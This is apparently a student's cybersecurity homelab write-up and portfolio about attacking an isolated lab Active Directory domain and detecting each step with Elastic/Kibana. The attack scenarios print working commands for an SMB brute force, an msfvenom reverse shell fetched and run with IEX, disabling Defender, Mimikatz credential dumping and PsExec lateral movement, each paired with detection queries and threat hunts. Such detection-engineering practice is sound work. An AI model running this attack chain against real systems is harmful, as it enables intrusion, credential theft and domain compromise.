Step 1: KALI-ATTACK (.10.50) creates username and password wordlists

Step 2: Hydra sends repeated SMB authentication attempts to WIN-DC01:445

Step 3: WIN-DC01 logs Event ID 4625 (Failed Logon) for each failed attempt

Step 4: Winlogbeat ships 4625 events → Logstash → Elasticsearch → Kibana

Step 5: Kibana threshold rule fires: >10 failed logons in 1 minute from same source IP

```
Command / Script
# On KALI-ATTACK

# Create username wordlist
cat > /tmp/users.txt << EOF
jsmith
sconnor
mchen
Nmohamed
administrator
EOF

# Create password wordlist
cat > /tmp/passwords.txt << EOF
Welcome1
Welcome@1234
Password123
SOCLab@2024
admin123
EOF

# Launch SMB brute force against Domain Controller
hydra -L /tmp/users.txt -P /tmp/passwords.txt smb://192.168.10.10 -t 4 -V

# Kibana detection queries after this attack:
# All failed logons from Kali:
# winlog.event_id: 4625 AND winlog.event_data.IpAddress: 192.168.10.50
# Group by winlog.event_data.TargetUserName to see targeted accounts
```

Event ID	Meaning	Severity
4625	Failed logon — one event per password tried	HIGH
4740	Account lockout (if lockout policy enabled)	CRITICAL

7.3 Scenario 3 — Metasploit Reverse Shell

MITRE ATT&CK: T1059.001 (PowerShell) | T1571 (Non-Standard Port)

Step 1: msfvenom generates a PowerShell reverse shell payload (payload.ps1)

Step 2: Python3 HTTP server serves payload.ps1 from Kali port 8080

Step 3: Metasploit multi/handler listens for incoming connection on Kali port 4444

Step 4: WIN-CLIENT1 PowerShell executes: IEX (New-Object Net.WebClient).DownloadString('http://192.168.10.50:8080/payload.ps1')

Step 5: Meterpreter session opens: WIN-CLIENT1:random_ephemeral_port → KALI:4444

Step 1 — Create Payload (on Kali):

```
Command / Script
```

```
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.10.50 \
  LPORT=4444 \
  -f psh-reflection \
  -o /tmp/payload.ps1
```

Step 2 — Start HTTP Server to serve the payload (on Kali):

```
Command / Script
cd /tmp && python3 -m http.server 8080
```

Step 3 — Start Metasploit Listener (new terminal on Kali):

```
Command / Script
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.10.50
set LPORT 4444
exploit -j
# Output: [*] Exploit running as background job
```

Step 4 — Disable Defender & Execute Payload (on WIN-CLIENT1 PowerShell as Admin):

```
Command / Script
# Disable Windows Defender real-time protection (lab environment only)
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableScriptScanning $true

# Execute the reverse shell payload
IEX (New-Object Net.WebClient).DownloadString('http://192.168.10.50:8080/payload.ps1')

# NOTE: PowerShell cursor will appear to hang — this is NORMAL
# The reverse shell connection is active. Do NOT press Ctrl+C
# Switch to the Kali terminal to interact with the Meterpreter session
```

Step 5 — Meterpreter Session Result (on Kali):

```
Command / Script
# Successful connection output in Metasploit:
[*] Sending stage (248902 bytes) to 192.168.10.20
[*] Meterpreter session 1 opened (192.168.10.50:4444 -> 192.168.10.20:53587)

# Open and verify the session
sessions -i 1
meterpreter > sysinfo
meterpreter > getuid
# Output: SOCLAB\jsmith (or current logged-in user)

# Kibana detection queries:
# PowerShell IEX execution — Sysmon Event 1:
# winlog.event_id: 1 AND winlog.event_data.CommandLine: *IEX*

# Outbound to port 4444 — Sysmon Event 3:
```

```
# winlog.event_id: 3 AND winlog.event_data.DestinationPort: 4444
```

7.4 Scenario 4 — Credential Dumping (Mimikatz)

MITRE ATT&CK: T1003.001 — LSASS Memory

- Step 1:** Active Meterpreter session on WIN-CLIENT1 (from Scenario 3)
- Step 2:** getsystem — escalate privileges to NT AUTHORITY\SYSTEM via Named Pipe Impersonation
- Step 3:** migrate — move to a stable 64-bit process (explorer.exe) to prevent session loss
- Step 4:** load kiwi — load the Mimikatz (Kiwi) extension into Meterpreter
- Step 5:** creds_all — dump plaintext passwords + NTLM hashes from LSASS memory
- Step 6:** Sysmon Event 10 fires: non-system process accessed lsass.exe with suspicious GrantedAccess flags

```
Command / Script
# On Kali — open the active Meterpreter session
sessions -i 1

# Escalate to SYSTEM
meterpreter > getsystem
# Output: ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin))

# Confirm SYSTEM level access
meterpreter > getuid
# Output: Server username: NT AUTHORITY\SYSTEM

# Find and migrate to a stable 64-bit process
meterpreter > ps
# Look for explorer.exe (x64) in the process list — note its PID
meterpreter > migrate <explorer_PID>
# Output: Migration completed successfully.

# Load Mimikatz (Kiwi) extension
meterpreter > load kiwi
# Output: Loading extension kiwi... Success.

# Dump ALL credentials from LSASS memory
meterpreter > creds_all

# — Expected output —————
# msv credentials
# =====
# Username    Domain    NTLM Hash
# jsmith      SOCLAB    [32-character MD4 hash]
# Nmohamed    SOCLAB    [32-character MD4 hash]
#
# wdigest credentials
# =====
# Username    Domain    Password
# jsmith      SOCLAB    Welcome@1234
# Nmohamed    SOCLAB    Welcome@1234
#
```

```
# Kibana detection queries:
# winlog.event_id: 10 AND winlog.event_data.TargetImage: *lsass.exe
# winlog.event_id: 4673 AND winlog.event_data.PrivilegeList: *SeDebugPrivilege*
```

Event ID	Meaning	Severity
Sysmon Event 10	Non-system process accessed lsass.exe memory	CRITICAL
Event 4673	SeDebugPrivilege used (required for Mimikatz)	CRITICAL
Event 4624	SYSTEM account logon	HIGH

7.5 Scenario 5 — Lateral Movement (PsExec / CrackMapExec)

MITRE ATT&CK: T1021.002 — SMB/Windows Admin Shares

- Step 1:** Credentials obtained from Mimikatz: SOCLAB\Nmohamed / Welcome@1234
- Step 2:** CrackMapExec validates credentials across the entire 192.168.10.0/24 network
- Step 3:** CrackMapExec executes remote commands on WIN-DC01 using stolen domain admin creds
- Step 4:** impacket-psexec drops PSEXESVC.exe on the ADMIN\$ share and creates a temporary service
- Step 5:** Interactive SYSTEM shell obtained on the Domain Controller (WIN-DC01) — full domain compromise

Step 1 — Validate Credentials with CrackMapExec:

```
Command / Script
crackmapexec smb 192.168.10.0/24 -u Nmohamed -p 'Welcome@1234'

# Actual output received:
# SMB 192.168.10.10 445 WIN-DC01 [*] Windows Server 2022 Build 20348 x64
# SMB 192.168.10.10 445 WIN-DC01 [+] SOCLAB.LOCAL\Nmohamed:Welcome@1234 (Pwn3d!)
# (Pwn3d!) = user has local admin rights on the target — domain compromise confirmed
```

Step 2 — Execute Remote Commands on Domain Controller:

```
Command / Script
crackmapexec smb 192.168.10.10 -u Nmohamed -p 'Welcome@1234' -x 'whoami'
crackmapexec smb 192.168.10.10 -u Nmohamed -p 'Welcome@1234' -x 'net user /domain'
crackmapexec smb 192.168.10.10 -u Nmohamed -p 'Welcome@1234' -x 'net group "Domain Admins" /domain'
```

Step 3 — Obtain Interactive SYSTEM Shell on Domain Controller:

```
Command / Script
impacket-psexec SOCLAB.LOCAL/Nmohamed:'Welcome@1234'@192.168.10.10

# Expected output:
# [*] Requesting shares on 192.168.10.10...
# [*] Found writable share ADMIN$
# [*] Uploading file aBcDeFgH.exe
# [*] Creating service XxXx on WIN-DC01...
# [*] Starting service XxXx.....
```

```
# C:\Windows\system32>

# Confirm access on the Domain Controller
C:\Windows\system32> whoami
# nt authority\system
C:\Windows\system32> hostname
# WIN-DC01
C:\Windows\system32> net user /domain
# Lists all domain users

# Kibana detection queries:
# PSEXESVC service installed – Event 7045:
# winlog.event_id: 7045 AND winlog.event_data.ServiceName: PSEXESVC

# Network logon from attacker – Event 4624 Type 3:
# winlog.event_id: 4624 AND winlog.event_data.LogonType: 3 AND
winlog.event_data.IpAddress: 192.168.10.50
```

Event ID	Meaning	Severity
Event 7045	PSEXESVC service installed on DC (most critical PsExec indicator)	CRITICAL
Event 4697	Service installed remotely via network	CRITICAL
Event 4624 Type 3	Network logon from attacker IP	HIGH
Sysmon Event 1	cmd.exe spawned by PSEXESVC.exe	HIGH
Sysmon Events 17/18	Named pipe created/connected (PsExec internal mechanism)	MEDIUM

Phase 8 — Threat Hunting & DFIR

8.1 Threat Hunting Methodology

Threat hunting is proactive — searching for threats that haven't triggered an automatic alert yet. Each hunt follows an 8-step structured workflow used in enterprise SOCs:

Step	Phase	Action	Tool
1	Hypothesis	Define what you're hunting based on threat intel or ATT&CK TTPs	MITRE ATT&CK Navigator
2	Data Collection	Identify relevant log sources and time range	Kibana Discover
3	Investigation	Query logs with KQL, look for anomalies vs baseline	Kibana KQL
4	Triage	Separate true positives from noise; pivot on IOCs	Kibana Timeline
5	Correlation	Link events across multiple data sources	Kibana Lens / SIEM
6	Documentation	Document findings, IOCs, attack timeline	Incident report
7	Response	Isolate host, block IOCs, reset credentials	AD Console + Firewall
8	Detection	Create rule to catch it automatically next time	Kibana Security Rules

8.2 Threat Hunt 1 — Brute Force Detection

Hypothesis: An attacker is credential spraying Active Directory accounts

Command / Script

```
# Step 1: Find failed logons — set time to last 1 hour in Kibana
winlog.event_id: 4625
# In Kibana Lens: X-axis = Top 10 IPAddress | Y-axis = Count

# Step 2: Identify accounts targeted from attacker IP
winlog.event_id: 4625 AND winlog.event_data.IPAddress: 192.168.10.50

# Step 3: Check if brute force succeeded (failed → success sequence)
winlog.event_id: 4624 AND winlog.event_data.TargetUserName: jsmith AND
winlog.event_data.IPAddress: 192.168.10.50

# RESULT: 20+ Event 4625 events from 192.168.10.50 within <1 minute
# CONCLUSION: Active password spraying attack — CONFIRMED
# IOC: Source IP 192.168.10.50 | Targeted accounts: jsmith, sconnor, mchen, Nmohamed

# Action: Create threshold detection rule — alert when >10 failed logons
# in 1 minute from same source IP against any domain account
```

8.3 Threat Hunt 2 — Credential Dumping

Hypothesis: Attacker gained SYSTEM privileges and is dumping LSASS credentials

Command / Script

```
# Step 1: Find ALL processes accessing lsass.exe
winlog.event_id: 10 AND winlog.event_data.TargetImage: *lsass.exe

# Step 2: Exclude known legitimate sources to reduce false positives
```

```

winlog.event_id: 10 AND winlog.event_data.TargetImage: *lsass.exe
  AND NOT winlog.event_data.SourceImage: (*\Windows\system32\svchost.exe
  OR *\Windows\System32\wininit.exe OR *MsMpEng.exe OR *\windows\system32\csrss.exe)

# Step 3: Inspect GrantedAccess value — Mimikatz uses specific access masks
# 0x1010 or 0x1410 = Mimikatz-style read access to LSASS process memory
winlog.event_id: 10 AND winlog.event_data.GrantedAccess: (0x1010 OR 0x1410 OR 0x1fffff)

# Step 4: Corroborate with SeDebugPrivilege usage (always required for Mimikatz)
winlog.event_id: 4673 AND winlog.event_data.PrivilegeList: *SeDebugPrivilege*

# Step 5: Pivot to find what spawned the credential dumper
# Use Sysmon Event 1 to trace the parent process chain

# RESULT: Non-system process accessed lsass.exe with GrantedAccess 0x1410
# RESULT: SeDebugPrivilege used 5 seconds before lsass access
# CONCLUSION: Mimikatz-style credential dump — CONFIRMED

```

8.4 DFIR Incident Response Checklist

Priority	Action	Evidence Source
1	Confirm alert is a true positive — review triggering event and raw logs	SIEM alert + raw events
2	Identify affected host(s) — collect all unique hostnames from events	hostname field in Kibana
3	Determine initial access vector — find earliest suspicious event from attacker	First attacker IP event
4	Map the complete attack timeline using Kibana Timeline view	Kibana Timeline
5	Identify persistence: Run keys (Sysmon 13), scheduled tasks (Event 4698), new services	Sysmon 13, Event 4698
6	Check for credential theft: LSASS access (Sysmon 10), SeDebugPrivilege (Event 4673)	Sysmon 10, Event 4673
7	Identify lateral movement: Type 3 logons (Event 4624), PSEXESVC (Event 7045)	Events 4624, 7045
8	Look for data staged for exfil: file creation (Sysmon 11), large DNS queries	Sysmon 11, Event 22
9	Contain: disable compromised accounts in AD, isolate VM (VMware: No Network)	AD Console + VMware
10	Document incident: timeline, IOCs, attack path, impact, remediation steps	Incident report

MITRE ATT&CK Coverage Summary

All techniques simulated and their detection status across the five attack scenarios:

ATT&CK ID	Technique	Simulated With	Detected By	Status
T1046	Network Service Discovery	Nmap SYN scan	Requires Zeek/Suricata (network-level)	Simulated
T1110.003	Password Spraying	Hydra SMB	Event 4625 threshold rule (>10/min)	Simulated + Detected
T1059.001	PowerShell Execution	msfvenom IEX payload	Sysmon 1 — IEX in CommandLine	Simulated + Detected
T1571	Non-Standard Port	Meterpreter port 4444	Sysmon 3 — port 4444 outbound	Simulated + Detected
T1003.001	LSASS Memory Dump	Mimikatz Kiwi module	Sysmon 10 — lsass.exe access	Simulated + Detected
T1021.002	SMB/Admin Shares	CrackMapExec + PsExec	Event 7045 — PSEXESVC service	Simulated + Detected
T1078	Valid Accounts	Stolen credentials	Event 4624 Type 3 anomaly	Simulated + Detected
T1547.001	Registry Run Keys	reg add Run key	Sysmon 13 — Run key modification	Simulated + Detected

Issues Encountered & Resolutions

Issue	Root Cause	Resolution
Install-WindowsFeature not recognized	Running standard PowerShell instead of Server Manager module	Used Server Manager GUI: Add Roles → AD DS → Install
Audit policy showing 'No Auditing' after GPO	GPO linked to domain root, not to Domain Controllers OU	Applied auditpol commands directly on DC as workaround
Payload blocked by Windows Defender	Defender detected msfvenom payload signature	Disabled Defender: Set-MpPreference - DisableRealtimeMonitoring \$true
PowerShell hanging after IEX execution	Reverse shell keeps connection alive — normal behavior	Worked from Kali Meterpreter session while WIN-CLIENT1 held the connection
Nmap not visible in Kibana	Nmap is network-based; Winlogbeat only reads Windows Event Logs	Expected behavior — Nmap detection requires Zeek or Suricata
Domain join fails: 'Network path not found'	DNS not pointing to Domain Controller	Set DNS to 192.168.10.10; confirmed with Resolve-DnsName SOCLAB.LOCAL
Elasticsearch fails to start	JVM heap size too large for VM RAM	Set jvm.options: -Xms3g -Xmx3g (50% of 6 GB VM RAM)

Skills Demonstrated

Category	Skills & Tools
Infrastructure	VMware Workstation Pro, Virtual Networking (VMnet), Snapshot Management
Active Directory	AD DS Deployment, OU Design, GPO Config, User/Group Management, Domain Join
Windows Administration	PowerShell scripting, Windows Server 2022, Static IP, Audit Policy (auditpol)
Linux Administration	Ubuntu Server CLI, Netplan, systemctl, APT package management, hostnamectl
SIEM Engineering	Elasticsearch 8.x, Kibana, Logstash pipeline, Winlogbeat, Index management
Log Analysis	Windows Security Event IDs, Sysmon Event IDs, KQL query language
Offensive Security	Metasploit, msfvenom, Hydra, CrackMapExec, impacket-psexec
Detection Engineering	Custom Kibana rules, MITRE ATT&CK mapping, Threshold alerts
DFIR	Attack timeline analysis, IOC identification, multi-source log correlation
Threat Hunting	Hypothesis-driven hunting, false positive reduction, Kibana pivot analysis

Portfolio — CV & GitHub Presentation Guide

GitHub Repository Structure

```
Command / Script
SOC-Homelab-AASTMT/
├── README.md                                # Overview, architecture, skills, tech stack
├── Architecture/
│   ├── network-topology.png                # Lab network diagram (draw.io export)
│   └── data-flow.png                       # Log pipeline diagram
├── Configurations/
│   ├── winlogbeat.yml
│   ├── logstash-winlogbeat.conf
│   ├── elasticsearch.yml
│   └── sysmonconfig.xml
├── Detection-Rules/
│   ├── lsass-access-rule.json              # Exported from Kibana Security
│   ├── brute-force-threshold.json
│   └── psexec-lateral-movement.json
├── Threat-Hunt-Reports/
│   ├── Hunt-001-BruteForce.md
│   ├── Hunt-002-CredentialDumping.md
│   └── Hunt-003-LateralMovement.md
├── Attack-Scenarios/
│   └── MITRE-ATT&CK-Coverage.md            # All 8 TTPs — simulated vs detected
└── Screenshots/
    ├── 01-kibana-dashboard.png
    ├── 02-sysmon-event10-lsass.png
    ├── 03-mimikatz-creds-dump.png
    ├── 04-psexec-service-7045.png
    └── 05-brute-force-spike.png
```

CV Project Entry

Enterprise SOC Homelab | VMware + Elastic Stack + Active Directory

Personal Project — AASTMT Cybersecurity | 2025–2026 | github.com/Nourmohamed2

- ▶ Built a 5-VM enterprise SOC simulation using VMware Workstation with an isolated 192.168.10.0/24 network (VMnet2), featuring Windows Server 2022 Domain Controller with Active Directory, domain-joined workstation, Ubuntu 22.04 SIEM, and Kali Linux attacker machine.
- ▶ Deployed Elastic Stack 8.x SIEM with centralized log collection: Sysmon + Winlogbeat on Windows VMs shipping to Logstash → Elasticsearch → Kibana, ingesting Security events, Sysmon telemetry, and PowerShell transcripts.
- ▶ Simulated 8 MITRE ATT&CK techniques including LSASS credential dumping (T1003.001), lateral movement via PsExec (T1021.002), PowerShell reverse shell (T1059.001), and brute force (T1110.003).
- ▶ Engineered custom Kibana detection rules with MITRE ATT&CK mapping; achieved 7/8 detection rate across all simulated attack scenarios with zero false negatives during testing.
- ▶ Conducted 3 structured threat hunting investigations correlating Sysmon, Windows Security, and PowerShell logs using KQL; produced documented hunt reports with IOCs and timelines.

LinkedIn Project Description

Enterprise SOC Homelab — VMware + ELK Stack + Active Directory

Built a fully operational, enterprise-grade SOC simulation environment from scratch using VMware Workstation with 5 VMs: a Windows Server 2022 Domain Controller, a domain-joined Windows workstation, an Ubuntu SIEM running Elastic Stack 8.x, a Linux target, and Kali Linux as the attacker machine — all on an isolated internal network (192.168.10.0/24).

Implemented a complete centralized log collection pipeline: Sysmon + Winlogbeat on Windows VMs shipping to Logstash (port 5044), processed and indexed in Elasticsearch, and visualized in Kibana. Configured enterprise-grade audit policies via auditpol and the SwiftOnSecurity Sysmon configuration baseline.

Simulated real-world attacks across 8 MITRE ATT&CK techniques — including credential dumping with Mimikatz (T1003.001), lateral movement with PsExec (T1021.002), and PowerShell-based reverse shells (T1059.001) — then built custom Kibana detection rules to catch each technique automatically with MITRE ATT&CK tagging.

Conducted 3 structured threat hunting sessions with documented investigation workflows, building Kibana Timelines correlating events across Sysmon, Windows Security logs, and PowerShell transcripts. Produced full hunt reports with IOCs, attack paths, and remediation recommendations.

Contact & Links

Platform	Link
LinkedIn	https://www.linkedin.com/in/nour-mohamed-788418260
GitHub	https://github.com/Nourmohamed2
Institution	AASTMT — Arab Academy for Science, Technology & Maritime Transport
Expected Graduation	June 2026 — B.Sc. Cybersecurity

Appendix — Quick Reference

A.1 Service Health Check Commands

```
Command / Script
# — UBUNTU-SIEM: Check all ELK services —————
sudo systemctl status elasticsearch kibana logstash

# Quick one-liner health check
for svc in elasticsearch kibana logstash; do
    echo -n "$svc: "; systemctl is-active $svc
done

# Elasticsearch cluster health API
curl -k -u elastic:PASSWORD https://localhost:9200/_cluster/health?pretty

# Check indices (verify logs are flowing in)
curl -k -u elastic:PASSWORD https://localhost:9200/_cat/indices?v

# — WINDOWS VMs: Check services —————
Get-Service winlogbeat, Sysmon64

# View Winlogbeat errors
Get-Content 'C:\ProgramData\winlogbeat\Logs\winlogbeat' -Tail 50

# Force GPO update
gpupdate /force
```

A.2 Windows Security Event ID Reference

Event ID	Description	SOC Relevance
4624	Successful logon	Track Type 3 (network) logons for lateral movement
4625	Failed logon attempt	Brute force detection — threshold >10/min from same IP
4634	Logoff	Session duration tracking
4648	Explicit credential logon (RunAs/runas)	Pass-the-hash / credential misuse
4672	Admin privileges assigned at logon	Privilege escalation monitoring
4673	Sensitive privilege used (SeDebugPrivilege)	Mimikatz — always uses SeDebugPrivilege
4688	Process created (with command line)	Malware execution when command line logging enabled
4698	Scheduled task created	Persistence technique T1053.005
4720	User account created	Backdoor account creation detection
4740	Account locked out	Brute force or DoS attack indicator
7045	New service installed	PsExec PSEXESVC, malware persistence T1021.002

